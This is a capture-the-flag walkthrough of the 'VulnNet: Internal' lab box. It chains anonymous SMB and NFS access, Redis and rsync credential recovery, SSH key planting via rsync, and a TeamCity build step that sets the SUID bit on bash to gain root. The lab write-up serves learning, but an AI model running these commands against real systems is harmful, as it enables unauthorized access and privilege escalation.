VulnNet: Internal is one of the more fun boxes I’ve done so far. For this box we won’t be searching for known exploits or attacking a webapp. Instead, we’ll enumerate several network services to find info that will ultimately help us find a way to a shell. Once we get a user shell we’ll continue enumerating and see what services are running internally. We’ll encounter an internal service running as root that we can create an SSH tunnel to and escalate to a root shell.

Tools Used

  • rustscan
  • enum4linux
  • redis-cli
  • rsync
  • nmap


rustscan -a -- -sC -sV -oA nmap1

22/tcp    open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDagA3GVO7hKpJpO1Vr6+z3Y9xjoeihZFWXSrBG2MImbpPH6jk+1KyJwQpGmhMEGhGADM1LbmYf3go
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNM0XfxK0hrF7d4C5DCyQGK3ml9U0y3Nhcvm6N9R+qv
|   256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp   open  rpcbind     syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34729/tcp   mountd
|   100005  1,2,3      48103/udp6  mountd
|   100005  1,2,3      48651/tcp6  mountd
|   100005  1,2,3      58610/udp   mountd
|   100021  1,3,4      36041/tcp6  nlockmgr
|   100021  1,3,4      41255/tcp   nlockmgr
|   100021  1,3,4      42016/udp6  nlockmgr
|   100021  1,3,4      42617/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp   open  rsync       syn-ack (protocol version 31)
2049/tcp  open  nfs_acl     syn-ack 3 (RPC #100227)
6379/tcp  open  redis       syn-ack Redis key-value store
34729/tcp open  mountd      syn-ack 1-3 (RPC #100005)
40869/tcp open  mountd      syn-ack 1-3 (RPC #100005)
41255/tcp open  nlockmgr    syn-ack 1-4 (RPC #100021)
47715/tcp open  mountd      syn-ack 1-3 (RPC #100005)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernelj


Lots to look through on this box. Let’s start by enumerating the Samba service.

enum4linux -A

|    Session Check on    |
[+] Server allows sessions using username '', password ''

|    Share Enumeration on    |

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      VulnNet Business Shares
        IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on
//$    Mapping: DENIED, Listing: N/A
//    Mapping: OK, Listing: OK
//$      [E] Can't understand response:

|    Users on via RID cycling (RIDS: 500-550,1000-1050)    |
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-1569020563-4280465252-527208056
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sys-internal (Local User)

We were able to map and list // so that means we can authenticate as a guest user to access the share.

smbclient --no-pass // will establish a connection using a blank password. Once in, we’ll find the services.txt flag in one of the accessible directories.

Let’s move on to NFS next. We can run showmount -e to list exported filesystems on the target.

└─$ showmount -e
Export list for
/opt/conf *

Now we can mount that filesystem locally to browse it:

mkdir mnt
sudo mount -t nfs mnt

It appears to contain moostly configuration files for various services running on the host, one of which is Redis. Redis is running on the open port 6379 so it’s worth exploring this config file closely.

We can grep the file to see if a username or password has been set:

└─$ grep -E 'requirepass|masteruser' redis.conf
# If the master is password protected (using the "requirepass" configuration
requirepass "REDACTED"
# requirepass foobared

Score! Now let’s see if we can connect and authenticate with the password we just found. First we’ll need to install the Redis CLI tookit.

sudo apt install redis-tools

And then we can run redis-cli -h to connect, followed by AUTH <password> to authenticate.

We can run the INFO command to dump all kinds of configuration and runtime data. At the very end of the output there is a “Keyspace” section that lists the databases within this redis instance.

# Keyspace

This tells us there is only one database in this Redis instance, db0. We can enumerate further to find the internal flag:> SELECT 0
1) "tmp"
2) "int"
3) "marketlist"
4) "authlist"
5) "internal flag"> GET "internal flag"

What else can we find here? That “authlist” looks interesting.

If we simply GET "authlist" we get an error informing us the operation cannot run because the key has the wrong kind of value. GET only works on keys with string values.

So we can TYPE "authlist" and see that as the name implies, authlist’s datatype is a list. To dump the values we can run:

LRANGE "authlist" 0 -1

We get back a list of 4 identical base64 encoded values. Decoding the value reveals a password for the rsync service running on port 873.

└─$ base64 -d <<<'QXV0aG9yaXphd[...REDACTED...]FRXQEJjNzJ2Cg=='
Authorization for rsync://rsync-connect@ with password REDACTED

Now we can enumerate rsync for shared directories using one of nmap’s scripts:

└─$ nmap -Pn -sV --script "rsync-list-modules" -p 873
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( ) at 2021-05-24 11:02 EDT
Nmap scan report for
Host is up (0.098s latency).

873/tcp open  rsync   (protocol version 31)
| rsync-list-modules: 
|_  files               Necessary home interaction

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

There is one directory named files. Can we see what’s inside now?

rsync -av --list-only rsync://rsync-connect@

Yes we can! Let’s download all the files so we can explore them locally.

rsync -av rsync://rsync-connect@ ./loot/rsync_files

It looks like we’ve copied the entire home directory for the sys-internal user. We’ve also found the user flag!

└─$ ls -la
total 108
drwxr-xr-x 18 brian brian 4096 Feb  6 07:49 .
drwxr-xr-x  3 brian brian 4096 Feb  1 07:51 ..
lrwxrwxrwx  1 brian brian    9 Feb  1 08:33 .bash_history -> /dev/null
-rw-r--r--  1 brian brian  220 Feb  1 07:51 .bash_logout
-rw-r--r--  1 brian brian 3771 Feb  1 07:51 .bashrc
drwxrwxr-x  8 brian brian 4096 Feb  2 04:23 .cache
drwxrwxr-x 14 brian brian 4096 Feb  1 07:53 .config
drwx------  3 brian brian 4096 Feb  1 07:53 .dbus
drwx------  2 brian brian 4096 Feb  1 07:53 Desktop
-rw-r--r--  1 brian brian   26 Feb  1 07:53 .dmrc
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Documents
drwxr-xr-x  2 brian brian 4096 Feb  1 08:46 Downloads
drwx------  3 brian brian 4096 Feb  1 07:53 .gnupg
drwxrwxr-x  3 brian brian 4096 Feb  1 07:53 .local
drwx------  5 brian brian 4096 Feb  1 08:37 .mozilla
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Music
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Pictures
-rw-r--r--  1 brian brian  807 Feb  1 07:51 .profile
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Public
lrwxrwxrwx  1 brian brian    9 Feb  2 09:12 .rediscli_history -> /dev/null
drwxrwxr-x  2 brian brian 4096 Feb  6 06:43 .ssh
-rw-r--r--  1 brian brian    0 Feb  1 07:54 .sudo_as_admin_successful
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Templates
drwx------  4 brian brian 4096 Feb  2 06:16 .thumbnails
-rw-------  1 brian brian   38 Feb  6 06:54 user.txt
drwxr-xr-x  2 brian brian 4096 Feb  1 07:53 Videos
-rw-------  1 brian brian   61 Feb  6 07:49 .Xauthority
-rw-r--r--  1 brian brian   14 Feb 12  2018 .xscreensaver
-rw-------  1 brian brian 2546 Feb  6 07:49 .xsession-errors
-rw-------  1 brian brian 2546 Feb  6 06:40 .xsession-errors.old
└─$ ls -la .ssh/
total 8
drwxrwxr-x  2 brian brian 4096 Feb  6 06:43 .
drwxr-xr-x 18 brian brian 4096 Feb  6 07:49 ..

Getting a User Shell

The .ssh directory in sys-internal’s home directory is empty, but we can use rsyunc to write our public key to the target and give ourselves ssh access.

Let’s generate a new ssh keypair and save it in our local working directory first.

ssh-keygen -t rsa

└─$  rsync -av ./ rsync://rsync-connect@
sending incremental file list

sent 674 bytes  received 35 bytes  283.60 bytes/sec
total size is 564  speedup is 0.80

And with that we can now SSH to the server as sys-internal!

ssh -i ./id_rsa sys-internal@

Privilege Escalation

With a bit of manual exploration we will find a TeamCity installation in /TeamCity running as root. The TeamCity-readme.txt tells us that by default, TeamCity runs on port 8111 on Linux and macOS. We can ss -ant and confirm the target is listening locally on that port.

Port 8111 was not present in our port scan, meaning it is not publicly accessible. In order to access TeamCity from a browser we’ll need to set up local port forwarding so traffic to localhost:8111 from our attack machine will get forwarded to the same port on the target.

From a local terminal run:

ssh -i ./id_rsa sys-internal@ -L 8111:localhost:8111

Now we can access http://localhost:8111 in a browser and see the TeamCity login form.

TeamCity login page

If we click the “Log in as a Super user” link, the form changes and asks us for an authentication token rather than username and password.

We can switch back to the shell and do a recursive grep in the TeamCity root directory to see if any files contain an authentication token.

grep -ir 'authentication token' 2>/dev/null

It appears a log file contains several tokens. Chances are many of them may have expired but we can tail logs/catalina.out and grab the most recent token.

sys-internal@vulnnet-internal:/TeamCity/logs$ tail catalina.out 
        at jetbrains.buildServer.configs.dsl.DslPluginManager.initDslInternal(
        at jetbrains.buildServer.serverSide.impl.BaseAccessChecker.runWithDisabledChecks(
        at jetbrains.buildServer.serverSide.impl.SecondaryNodeSecurityManager.executeSafe(
        at jetbrains.buildServer.serverSide.IOGuardInitializer$IOGuardDelegateImpl.allowCommandLine(
        at jetbrains.buildServer.serverSide.IOGuard.allowCommandLine(
        at jetbrains.buildServer.configs.dsl.RestrictorImpl.doReadOnlyCommandLine(
        at jetbrains.buildServer.configs.dsl.DslPluginManager.initPlugins(
        at jetbrains.buildServer.configs.dsl.DslPluginManager.lambda$initPluginsAsync$0(
        at java.base/
[TeamCity] Super user authentication token: REDACTED (use empty username with the token as the password to access the server)

And that token works!

TeamCity successful authentication as super user

TeamCity is a devops tool for building continuous integration/delivery pipelines. We can create a project and a build step that executes a custom script on the host. Since TeamCity is running as root, our script will execute with root privileges. We can use this to set the sticky bit on the bash binary, allowing us to escalate to a root shell.

First click “Create project” and then “Manually”. Give the project a name and then click the create button.

TeamCity - create project

Once saved, click “Create Build Configuration”, give it a name, and click the create button.

TeamCity - create build configuration

Use the “Projects” dropdown menu in the page header to navigate to the project we just created. From the project page, click “Edit Project Settings” in the top right, and then click on your Build Configuration.

From the menu on the left, click “Build Steps” and then the “Add Build Step” button. Here is where we’ll insert our command to set the sticy bit on bash.

Choose “Command Line” as the Runner type, give it a name, and add the payload.

chmod u+s /bin/bash

TeamCity - create build step

Finally, save the Build Step and then click the Run button in the top right.

Once it finishes running we can switch back to the shell and run /bin/bash -p to get a root shell! The -p flag tells bash to maintain effective root privilegers rather than dropping back to the invoking user’s id.

sys-internal@vulnnet-internal:/TeamCity/logs$ /bin/bash -p
bash-4.4# cd /root
bash-4.4# ls -l
total 4
-rw------- 1 root root 38 Feb  6 12:56 root.txt
bash-4.4# wc -c root.txt
38 root.txt